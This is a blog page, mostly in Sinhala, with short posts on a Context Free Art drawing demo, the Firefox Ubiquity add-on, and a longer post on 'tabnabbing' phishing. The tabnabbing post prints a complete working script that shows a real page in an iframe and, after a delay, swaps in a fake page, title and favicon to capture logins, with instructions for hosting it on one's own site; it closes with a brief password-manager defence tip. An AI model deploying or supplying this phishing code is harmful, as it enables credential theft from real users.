We start by defining the rule “DOT” which draws two things: A large square (scaled up 4x), which is white (brightness of 1), and mostly transparent (alpha of -.9), and then a smaller black square. The large transparent white square acts to fade out more and more of the previous DOTs that have been drawn (it’s a standard trick for doing motion blur effects). The rule MOUSEMOVE simply draws a dot at the current mouse position, whenever the mouse moves.
Here’s the result.
මෙයට යොදාගෙන තිබෙන script කට්ට ඔයාලට http://code.google.com/p/contextfree/source/browse/trunk/
වෙතින් භාගත හැක . මෙය මෘදුකාංගයක් ලෙස ඔයාලට http://www.contextfreeart.org/mediawiki/index.php/Download_page වෙතින් භාගන්න පුලුවන්. 



 2. අනික් ටුල් එක තමයි  Ubiquity . මේක එන්නේ firefox වලට විතරයි . FireFox user කෙනෙක් නම් අනිවාර්යෙන්ම තිබිය යුතු plugin එකක් තමයි මේක . හිතන්න අපිට e-mail එකක් යවන්න ඕනේ කියලා . අපිට e-mail එක යවන්න නම් අපි මුලින්ම අපේ mail client එකට ගිහිල්ලා mail එකක් හදලා යවන්න එපැයි . නමුත් මේක අපිට script එකක් ලියලා ඕනෙම නම් කරගන්නත් පුලුවන් . නමුත් හිතන්න අපිට පුලුවන් නම් e-mail යවන්න කියලා අපි browser එකට සරල භාශාවෙන් කියුවාම e-mail එක යවනවා නම් කොච්චර ආතල්ද ??? , අන්න ඒ වගේ වැඩක් තමා Ubiquity මඟින් සිද්ධ වෙන්නේ .......  මෙය web browser interface  එක හා platform එක අතරමනා සම්බන්ධතාවයක් (සන්නිවේදනයක්) නිර්මාණය කිරිමේ මුලික අඩිතාලමක් ලෙස තමා මේ තාක්ශණය කරලියට පැමිනෙන්නේ . ම්ම බොරුද කියන්නේ කියලා ඔයාලා පහත විඩියෝ එක බලලම ඉන්නකෝ , එතකොට තේරෙයි (*මෙක අනිවාර්යෙන්ම බලන්න හොඳේ).  garupale



ඔයාට මෙයhttps://addons.mozilla.org/en-US/firefox/addon/9527 භාගත කරගන්න පුලුවන් .
වැඩිපුර :


 මොකද හිතන්නේ මේ ගැන , ඔය පහළින් කොමෙන්ට් එකක් දාලම යන්නකෝ !!! garupale
ඉතිරිය කියවන්න .....>>

 

Tabnabbing - Phishing කලාවේ අලුත්ම පෙරලිය (*තවත් එක් හැකින් ක්‍රමයක්)

7

Share/Bookmark

හෙට පෝය නිසා අද ටිකක් රිලැක්ස් , හෙට උදේ ක්ලාස් , රෑට දන්සලේ වැඩ ...... garupaleහරි හරි මම ආව කාරනය අද කියන්නම්කෝ . මම ඔය හැකින් ගැන නිකන් හොයන වෙලාවට යන එක වෙබ් අඩවියක් තමා techotips.blogspot.com කියන්නේ . අද ගියහම තිබ්බා tabnabbing කියලා article එකක් , මාත් බැලුවා මොකක්ද මේ අලුත් නම කියලා . බැලින්නම් අලුත්ම phishing ක්‍රරමය තමා tabnabbing . මෙකෙන් මුලිකවම කරන්නේ අපි web browser එක tab එකක් දාලා වෙබ් අඩවියකට ගියා කියමුකෝ , හිතන්න අපි ගිය වෙබ් අඩ්වියේ මෙම phishing එක සිදුවෙන script එකක් ඇතුලත් වෙනවා කියලා . දැන් අර මම open කරපු මුල්tab එක තියලා , තව tab කිහිපයක් උපයෝගි කරගෙන මගේ වැඩටික කරනවා . නමුත් මෙම වෙලාවේදි අර script එක ඇතුලත් වෙලා තිබ්බ වෙබ් අඩවිය වෙනත් වෙබ් අඩවියකට (හිතන්නකෝ බොරු yahoo , gmail , facebook login page එකකට කියලා) යනවා . නමුත් මම දන්නවා මම ඒ වෙලාවේ ඒ tab එක ඔපන් කරලා තිබ්බේ ඒක නිසා මම එහි URL එක බල බ්ල ඉන්නේ නෑ , කෙලින්ම මගේ අදාල විස්තර ටික ඇඳලා දානවා hah. එතකොට තමා අපිට කෙලවෙන්නේ . මට ඔය පැහැදිලි කිරිම් කරන්න හරි අමරුයි අප්පා , ඔයාලත පහත විඩියෝ දාලා බලන්නකෝ එතකොට තේරෙයි . garupale



දැන් තේරෙනවා නේද වැඩේ කොහොමද වෙන්නේ කියලා . මම source code එකත් බැලුවා , වැඩේ නම් සරල logic එකකට තමා වෙන්නේ . මට මෙතැන source code එක දාන්න බැ , virus guard වලින් අල්ලනවා virus කියලා , ඇත්ත කියුවොත් මේකේ විරුස් එකක් නෑ , වෙන්නේ අර ටැබ් ගොඩක් open වෙලා තියන වෙලාවට වෙබ් අඩ්විය වෙනස්වීම පමණි .මෙක හොයාගෙන තියන්නේ ඔය mac එක හොයාගත්ත මහත්තයාගේ පුතා (Aza Raskin) කියලා තමයි සඳහන් වෙන්නේ . ඔයාලත් එයාගේ බ්ලොග් එකට ගිහිල්ලා බලන්නකෝ .(http://www.azarask.in/blog/post/a-new-type-of-phishing-attack/ , ආ කියන්න අමතක වුනා මේ අඩ්වියට යන කොට මෙයා මේ බ්ලොග් එකේ script එක දාලා තියනවා අපිට demo එකක් වගේ පෙන්නන්න .ඒ වෙලාවට virus gurad එකෙන් අල්ලයි virus කියලා , ඒකට බයවෙන්න එපා හොඳේ !!).


ම්මත් මේ demo එකක් හැදුවා , ඒක ටිකකට කලින් delete කරලා ( free hosting නේ ) . ඔයාලට ඔයාලගේ වෙබ් අඩවියකට මෙය දාන්න ඕනෙම නම් කරන්න තියන්නේ මෙහි .js (javascript file එක) ඔයාලගේ web hosting service එකකට upoload කරලා , වෙබ් අඩ්වියේ <script>
tag එක මඟින් javascript එක කෝල් කිරිම පමනයි . garupale



script එක භාගත කරගන්න : http://bit.ly/da4qVT (http://www.azarask.in/projects/bgattack.js)

උදා : (දැනට මෙම script එක මෙහි නිර්මාතෘගේ වෙබ් අඩවියේ තියන නිසා මම මෙම script එක එහි සිට කොල් කරනවා) . පහත කේතය text file එකක දාලා " anyname.html" ලෙස save කරලා ඕක tab කිහිපයක් ඕපන් කරලා බලන්නකෝ . yoursite.com/phishing.javascript.js එක javascript එක තියන තැනට වෙනස් කරන්න . )

කේතය :


<html><head> </head><body><h2> Testing tabnabbing </h2><script type="text/javascript" src="yoursite.com/phishing.javascript.js"></script> </body></html>

තව ඕක ක්‍රමය වැඩිදියුණු කරලා , ඒ කියන්නේ tabnabbing සහ iframe භාවිතා කරලා ගේම දෙන විඩියෝ ඒකකුත් දැක්කා youtube එකේ .ඕං ඒකත පහත දාලා ඇති බලන්නකෝ , බලලා පහලින් කොමෙන්ට් එකක් දාලම යන්නකෝ !!



විඩියෝ භාවිතා වු කේතය (tabnabbing & iframe) :

<html><head><title></title></head><style type="text/css">html {overflow: auto;}html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}</style><body> <script type="text/javascript">//----------Set Script Options--------------var REAL_PAGE_URL = "http://google.com/"; //This is the "Real" page that is shown when the user first views this pagevar REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"var FAKE_PAGE_URL = "http://www.hackyeah.com"; //Set this to the url of the fake pagevar FAKE_PAGE_TITLE = "HackYeah"; //This sets the title of the fake pagevar REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon.  It will not switch or clear the "Real" favicon in IE.var FAKE_FAVICON = "http://www.hackyeah.com/favicon.ico"; //Set's the fake favicon.var TIME_TO_SWITCH_IE = "4000"; //Time before switch in IE (after tab changes).var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching (does not account for tab focus) .//---------------End Options-----------------var TIMER = null;var SWITCHED = "false"; //Find Browser Typevar BROWSER_TYPE = "";if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){ BROWSER_TYPE = "Internet Explorer";}//Set REAL_PAGE_TITLEdocument.title=REAL_PAGE_TITLE; //Set FAVICONif(REAL_FAVICON){ var link = document.createElement('link'); link.type = 'image/x-icon'; link.rel = 'shortcut icon'; link.href = REAL_FAVICON; document.getElementsByTagName('head')[0].appendChild(link);} //Create our iframe (tabnab)var el_tabnab = document.createElement("iframe");el_tabnab.id="tabnab";el_tabnab.name="tabnab";document.body.appendChild(el_tabnab);el_tabnab.setAttribute('src', REAL_PAGE_URL); //Focus on the iframe (just in case the user doesn't click on it)el_tabnab.focus(); //Wait to nab the tab!if(BROWSER_TYPE=="Internet Explorer"){ //The tested versions of IE blur the iframe on tab change el_tabnab.onblur = function(){ TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE); } el_tabnab.onfocus= function(){ if(TIMER) clearTimeout(TIMER); }} else { setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);} function TabNabIt(){ if(SWITCHED == "false"){ //Redirect the iframe to FAKE_PAGE_URL el_tabnab.src=FAKE_PAGE_URL; //Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;  //Change the favicon -- This doesn't seem to work in IE if(BROWSER_TYPE != "Internet Explorer"){ var links = document.getElementsByTagName("head")[0].getElementsByTagName("link"); for (var i=0; i<links.length; i++) { var looplink = links[i]; if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") { document.getElementsByTagName("head")[0].removeChild(looplink); } } var link = document.createElement("link"); link.type = "image/x-icon"; link.rel = "shortcut icon"; link.href = FAKE_FAVICON; document.getElementsByTagName("head")[0].appendChild(link); } }}</script> </body></html>

මේකෙන් බේරෙන්න තියන හොදම ක්‍රමය තමා browser එකේ password manager එකක් දාගෙන භාවිතා කිරිම . ඔය Secure login (https://addons.mozilla.org/en-US/firefox/addon/4429/)වගේ හොඳයි . garupale
ඉතිරිය කියවන්න .....>>

 

Subscribe to: Posts (Atom)
Related Posts with Thumbnails